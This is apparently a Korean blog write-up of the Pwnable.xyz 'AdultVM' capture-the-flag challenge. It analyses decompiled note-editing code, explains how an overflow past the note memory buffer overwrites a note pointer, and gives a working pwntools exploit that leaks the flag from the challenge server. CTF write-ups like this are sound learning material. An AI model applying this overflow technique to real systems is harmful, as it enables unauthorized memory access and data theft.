tmxklab
[Pwnable.xyz] AdultVM 본문
1. 문제
nc svc.pwnable.xyz 30048
총 6개의 파일이 주어지는데 start.py를 실행시키면 userland, kernel, flag*.txt를 open하여 사용한다. start.py코드를 살펴보면 이전에 baby vm에서 사용했던 유니콘 엔진 코드를 볼 수 있다.
참고 :
start.py코드에서 대충 보면 kernel, userland스레드를 2개 생성하는데 user스레드에서는 userland파일을 오픈해서 유니콘 엔진을 사용하여 실행시키고 kernel스레드에서는 kenel파일을 오픈해서 사용한다.
그리고 flag1, 2, 3파일이 주어지는데 flag1.txt는 start_userland()로직에서 볼 수 있고 flag2.txt는 start_kernel()로직에서 볼 수 있다. flag3.txt는 안보임; 각각 AdultVM, 2, 3에서 플래그를 찾는데 사용하는 것 같다.
1) userland파일 mitigation 확인
2) 문제 확인
- 노트id와 content를 작성하고 출력해주는 프로그램인듯 하다
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
while ( 1 )
{
while ( 1 )
{
print_menu();
result = get_int();
if ( result != 2 )
break;
show_note();
}
if ( result == 3 )
break;
if ( result == 1 )
edit_note();
}
return result;
}
- 이렇다고 한다
3-2) edit_note()
void __cdecl edit_note()
{
int id; // [rsp+Ch] [rbp-4h]
do_write(id_str, 9uLL);
id = get_int();
if ( id >= 0 && id <= 9 )
{
if ( !notes[id].note )
{
notes[id].note = &memory[memory_ptr];
notes[id].size = 0x38LL;
notes[id].serial = (unsigned int)(((0x19660D * id + 0x3C6EF35F) >> 0x1F) + 0x19660D * id + 0x3C6EF35F)
- ((unsigned __int64)((unsigned __int128)(0x19660D * id + 0x3C6EF35F) >> 0x40) >> 0x20);
memory_ptr += notes[id].size;
}
do_write(contents_str, 0xBuLL);
notes[id].id = id;
notes[id].show = (void (*)(size_t, char *, size_t, uint64_t))print_note;
notes[id].size = read_line(notes[id].note, 0x40uLL);
}
}
- notes에 대한 인덱스(id)의 범위 : 0 ~ 9
- 처음에는 notes[id].note에는 아무런 값이 없으므로 if문 안의 로직이 실행됨
- notes[id].note에는 memory[memory_ptr]주소 값이 저장되고 size는 0x38, serial에는 어떤 값이 들어오는데 아직 뭔지 모르겠다. 그리고 memory_ptr에는 notes[id].size값이 들어간다. 이후에 note를 계속 추가하다보면 0x38만큼 계속 증가하여 memory_ptr에 들어간다.
- 그리고 notes[id].id에 id값을 저장하고 notes[id].show에 print_note함수 포인터가 저장된 다음 마지막으로 notes[id].note에 입력 값을 받고 size변수에 read_line의 리턴 값이 저장된다.
3-3) show_note()
void __cdecl show_note()
{
int id; // [rsp+Ch] [rbp-4h]
do_write(id_str, 9uLL);
id = get_int();
if ( id >= 0 && id <= 9 )
{
if ( notes[id].show )
notes[id].show(notes[id].id, notes[id].note, notes[id].size, notes[id].serial);
}
}
- notes의 id를 선택하면 해당 notes[id].show에 저장된 print_note함수를 실행시킨다.
bss영역)
data영역)
2. 접근방법
먼저, 노트를 3개 생성하였을 때 어떤 구조인지 확인해보자
대충 그림을 그리면 요런 느낌이다.
근데 만들 수 있는 notes의 수는 0 ~ 9까지이므로 총 10개 생성할 수 있다.
한 개의 notes를 생성하면 memory변수에는 총 0x38크기의 데이터를 저장할 수 있다. 그럼 총 10개를 만들면 0xa(10) * 0x38 = 0x230크기를 가질 수 있는데 memory 시작 주소 0x4100180에 0x230을 더하면 0x41003b0이므로 마지막 notes를 생성하면 notes[0]을 덮을 수 있다.
show_note()함수에서는 notes의 print_note를 호출할 때 데이터가 저장된 memory ptr을 파라미터로 넘겨주므로 위 취약점을 이용하여 notes[0]의 memory ptr주소 대신에 data영역에 존재하는 flag변수의 주소 값을 넘겨주자
3. 풀이
1) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)
flag = 0x4100000
def edit(idx, content):
p.sendlineafter("3. Exit\n", str(1))
p.sendlineafter("Note id: ", str(idx))
p.sendlineafter("Contents: ", content)
def show(idx):
p.sendlineafter("3. Exit\n", str(2))
p.sendlineafter("Note id: ", str(idx))
for idx in range(0, 9):
edit(idx, "A")
edit(9, p64(0)*2 + p64(flag) + p64(0x30))
show(0)
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] AdultVM 3 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] AdultVM2 (0) | 2020.09.09 |
[Pwnable.xyz] note v4 (0) | 2020.09.09 |
[Pwnable.xyz] fishing (0) | 2020.09.09 |
[Pwnable.xyz] knum (0) | 2020.09.09 |